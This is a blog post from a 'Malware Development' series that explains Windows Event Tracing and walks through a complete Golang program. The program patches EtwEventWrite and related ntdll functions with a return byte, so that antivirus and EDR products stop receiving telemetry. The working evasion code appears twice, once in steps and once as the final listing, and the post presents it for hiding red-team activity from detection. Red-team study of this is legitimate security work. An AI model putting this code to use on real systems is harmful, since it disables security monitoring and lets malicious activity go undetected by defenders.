Malware Development 12 - Patching Event Tracing for Windows (Golang)
Introduction
Hello hackers!
On this post we’ll see what ETW is, how this affects red teamers, what can we do against it and much more.
Explanation
Event Tracing for Windows, also known as ETW, is a powerful logging and tracing mechanism built into the Windows operating system. It allows developers, system administrators, and performance analysts to capture and analyze events that occur in the system, applications, and device drivers. ETW provides a high-performance, low-overhead way to collect detailed information about various activities and processes, making it an essential tool for diagnosing and debugging issues, performance monitoring, and understanding system behavior.
It’s divided in 7 parts:
Providers: Providers are components in the system that emit events. They can be user-mode applications, kernel-mode drivers, or various system components like the Windows kernel, network stack, etc. Each provider is identified by a unique GUID (Globally Unique Identifier).
Events: An event is a structured data record that represents an occurrence of a specific activity or state change. Events contain various fields that provide context and information about the event occurrence. These fields can include timestamps, event identifiers, error codes, process IDs, thread IDs, and custom data relevant to the event.
Controllers: Controllers are entities responsible for enabling and disabling event tracing for specific providers. Controllers can be user-mode applications or system components. They use the ETW APIs to interact with the tracing infrastructure and manage event tracing sessions.
Event Tracing Sessions: An event tracing session is a collection of events from one or more providers. Sessions can be kernel sessions, real-time user sessions, or log-file-based sessions. Real-time user sessions allow real-time processing of events, while log-file-based sessions save events to disk for later analysis.
Event Consumers: Event consumers are applications or tools that consume and process the events generated by ETW providers. They receive events either in real-time during a live session or by reading event log files generated during a logging session.
Event Trace Log Files: ETW can save events to log files on disk during a logging session. These log files can be used for offline analysis, sharing with other developers, or for later review of events.
ETW API: ETW provides a set of APIs that allow developers to enable and disable tracing for providers, start and stop tracing sessions, write custom events, and interact with event data. The APIs are available for both user-mode and kernel-mode development.
As you may think, most AVs and EDRs use this logs for their own purposes so it would be great to make it non-functional so we have much less change of being catched (on a supossed environment). As WhiteKnightLabs said in their post, there is a common misconception between ETW and AMSI because some people think that ETW is challenging to bypass in a process because it runs in kernel mode, not like AMSI which runs in user mode. That’s incorrect since ETW is always providing its logs so other services like AVs/EDRs can use them so it can also be bypassed.
If we open the disassembler, then we load the ntdll.dll and search for ETW functions we see something like this:
ETW functions use NtTraceEvent
so we could force it to return. The patch itself is a simply return (ret) and its value is 0xc3
(x64)
Imagine we are trying to execute a Seatbelt.exe .NET assembly but it is creating a lot of logs on the system, so the AV/EDR consumes them and we are getting detected due to it. If we apply the patch on most of ETW functions, those logs wouldn’t be created so the AV/EDR wouldn’t detect us.
Let’s see how we can implement it in Golang.
Code
I’ve seen in other places that people use 0x48, 0x33, 0xC0, 0xC3
to patch ETW but we’ll just use 0xC3
, both of them should work.
Let’s start by importing neccessary packages:
1
2
3
4
5
6
7
8
package main
import (
"fmt"
"time"
"unsafe"
"syscall"
)
We import time
since we’ll sleep before the program exits so we can attach to process using WinDbg. Then we load ntdll.dll
and most ETW functions.
1
2
3
4
5
6
7
8
9
10
11
12
fmt.Println("[*] Loading ntdll.dll and ETW functions...")
ntdll := syscall.NewLazyDLL("ntdll.dll")
WriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
EtwEventWrite := ntdll.NewProc("EtwEventWrite")
EtwEventWriteEx := ntdll.NewProc("EtwEventWriteEx")
EtwEventWriteFull := ntdll.NewProc("EtwEventWriteFull")
EtwEventWriteString := ntdll.NewProc("EtwEventWriteString")
EtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer")
...
}
Anyway we haven’t obtained functions addresses so let’s do it.
1
2
3
4
5
6
7
addresses := []uintptr{
EtwEventWriteFull.Addr(),
EtwEventWrite.Addr(),
EtwEventWriteEx.Addr(),
EtwEventWriteString.Addr(),
EtwEventWriteTransfer.Addr(),
}
Now we define our patch which will be written to every single function address.
1
patch := []byte{0xC3}
And finally we iterate over the functions and sleep so the process doesn’t exit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
fmt.Println("[*] Patching functions...")
for _, addr := range addresses {
// Write patch bytes to function address
WriteProcessMemory.Call(
uintptr(0xffffffffffffffff),
uintptr(addr),
uintptr(unsafe.Pointer(&patch[0])),
uintptr(len(patch)),
0,
)
}
fmt.Println("[*] Sleeping...")
time.Sleep(10000 * time.Second)
To recap, this is the final source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package main
/*
Author: D3Ext
Blog post: https://d3ext.github.io/posts/malware-dev-12/
*/
import (
"fmt"
"time"
"unsafe"
"syscall"
)
func main(){
fmt.Println("[*] Loading ntdll.dll and ETW functions...")
ntdll := syscall.NewLazyDLL("ntdll.dll")
WriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
EtwEventWrite := ntdll.NewProc("EtwEventWrite")
EtwEventWriteEx := ntdll.NewProc("EtwEventWriteEx")
EtwEventWriteFull := ntdll.NewProc("EtwEventWriteFull")
EtwEventWriteString := ntdll.NewProc("EtwEventWriteString")
EtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer")
addresses := []uintptr{
EtwEventWriteFull.Addr(),
EtwEventWrite.Addr(),
EtwEventWriteEx.Addr(),
EtwEventWriteString.Addr(),
EtwEventWriteTransfer.Addr(),
}
patch := []byte{0xC3}
fmt.Println("[*] Patching functions...")
for _, addr := range addresses {
// Write patch bytes to function address
WriteProcessMemory.Call(
uintptr(0xffffffffffffffff),
uintptr(addr),
uintptr(unsafe.Pointer(&patch[0])),
uintptr(len(patch)),
0,
)
}
fmt.Println("[*] Sleeping...")
time.Sleep(10000 * time.Second)
}
Demo
Now let’s compile our code
Then we transfer the .exe to a Windows machine, open WinDbg and select “Attach to a Process”.
Then select generated .exe
It works as expected! As you can see on powershell window, the program executes without any problem and if we dissasemble one of patched functions (in this case EtwEventWrite) we see that the patch has been applied.
As in every post, I leave you the different articles that I’ve used to write this post, and some other references that may be of use. (See below)
References
1
2
3
4
5
6
7
8
9
10
11
12
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101
https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
https://whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit/
https://modexp.wordpress.com/2020/04/08/red-teams-etw/
https://github.com/Mr-Un1k0d3r/AMSI-ETW-Patch
https://github.com/outflanknl/TamperETW
https://atomicredteam.io/defense-evasion/T1562.006/
https://github.com/zodiacon/EtwExplorer
https://github.com/mandiant/SilkETW
https://labs.nettitude.com/blog/etwhash-he-who-listens-shall-receive/
https://github.com/nettitude/ETWHash
https://github.com/GhostPack
Conclusion
I hope you’ve learned a new layer of protection by patching ETW so you can cover your red team operations. This is a well known technique in red teaming terms and it’s very important to understand if you want to conduct a good job.
Source code here